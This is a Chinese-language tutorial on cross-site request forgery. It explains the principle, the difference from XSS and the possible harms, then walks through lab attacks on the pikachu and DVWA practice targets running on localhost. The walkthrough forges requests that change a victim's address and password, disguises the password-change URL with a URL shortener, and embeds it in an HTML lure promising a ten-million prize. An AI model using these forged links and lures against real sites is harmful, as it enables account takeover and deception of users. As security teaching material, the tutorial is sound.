CSRF(Cross Site Request Forgery)。跨站请求伪造
原理
- 攻击者会伪造一个请求(一般是一个链接),然后让用户去点击,然后攻击者盗用了你身份证,用你的名义发送恶意请求
- 是跨站请求伪造不是攻击网站服务器,而是冒充用户在站内的正常操作
- 通常由于服务端没有对请求头做严格过滤造成
- CSRF会造成密码重置,用户伪造会引发严重后果
如何实现
怎么能实现csrf?讲究一个天时地利人和
- 天时:WWW.XXX.com这个网站在用户修改个人
信息时候没有太多的校验 - 地利:正好被攻击者点击了攻击者的链接
- 人和:并且这个时候被攻击者刚好登录在购物网上
和xss区别
CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马 让更多人的受害
7、控制受害者机器向其它网站发起攻击 卖肉机
CSRF实战(pikachu)
下面我们要模拟一个hack和Kevin的攻击演示
hack要在不知道Kevin的账号密码情况下,修改Kevin的地址信息
进入pikachu
可以看到在右面有账号密码的提示
我们输入kevin 密码123456
登进去了
然后修改地址信息。用bp去看看
可以看到有一条get请求
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=13677676754&add=shanxi&email=kevin%40pikachu.com&submit=submit HTTP/1.1
然后我们把这条请求当中的地址(add)改成taiyuan
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=13677676754&add=taiyuan&email=kevin%40pikachu.com&submit=submit HTTP/1.1
然后去访问http://127.0.0.1:81/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=13677676754&add=taiyuan&email=kevin%40pikachu.com&submit=submit
发现地址直接改成了taiyuan,而我们没有对页面进行任何操作,只是把url改了一下
dvwa靶场
security:low
设置一个账号密码,我这里都是123456
http://127.0.0.1:82/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
然后修改url把12345改成11233
http://127.0.0.1:82/vulnerabilities/csrf/?password_new=11233&password_conf=11233&Change=Change#
去短连接生成网站转成短连接
我这里转化成了
https://s.r.sn.cn/z2Hf29
- 为什么要生成短连接?
- 因为长链接直接把账户密码写进去了,只要不是傻子都不会点。所以这里需要伪装一下
然后编辑一个html
<html>
中奖1000万,点击领奖
<a href="https://s.r.sn.cn/z2Hf29">点击这里</a>
</html>
然后双击打开
点击跳转
发现直接密码被改
http://127.0.0.1:82/vulnerabilities/csrf/?password_new=11233&password_conf=11233&Change=Change#
由原来的123456变成了现在的11233
- 总结:
- 抓包修改数据包
- 将修改过的数据包做成链接,让用户去点击
- 但是一般情况下需要我们去做一个和正常网页一样的页面才能做到以假乱真